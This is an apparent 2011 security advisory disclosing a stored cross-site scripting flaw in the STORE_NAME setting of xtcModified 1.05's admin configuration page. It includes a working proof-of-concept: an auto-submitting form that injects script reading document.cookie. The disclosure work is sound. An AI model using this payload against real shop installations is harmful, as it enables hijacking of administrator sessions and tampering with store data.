Vulnerability ID: HTB22866 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_xtcmodified_3.html Product: xtcModified Vendor: xtcModified Team ( http://www.xtc-modified.org/ ) Vulnerable Version: 1.05 and probably prior versions Vendor Notification: 17 February 2011 Vulnerability Type: Stored XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "admin/configuration.php" script to properly sanitize user-supplied input in "STORE_NAME" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/configuration.php?gID=1&action=save"; method="post" name="main"> <input type="hidden" name="STORE_NAME" value='My Store"><script>alert(document.cookie)</script>'> <input type="hidden" name="STORE_OWNER" value="Owner"> <input type="hidden" name="STORE_OWNER_EMAIL_ADDRESS" value="email@xxxxxxxxxxx"> <input type="hidden" name="STORE_COUNTRY" value="81"> <input type="hidden" name="STORE_ZONE" value="80"> <input type="hidden" name="EXPECTED_PRODUCTS_SORT" value="desc"> <input type="hidden" name="EXPECTED_PRODUCTS_FIELD" value="date_expected"> <input type="hidden" name="DISPLAY_CART" value="true"> <input type="hidden" name="ADVANCED_SEARCH_DEFAULT_OPERATOR" value="and"> <input type="hidden" name="STORE_NAME_ADDRESS" value="address"> <input type="hidden" name="CURRENT_TEMPLATE" value="xtc5"> </form> <script> document.main.submit(); </script>
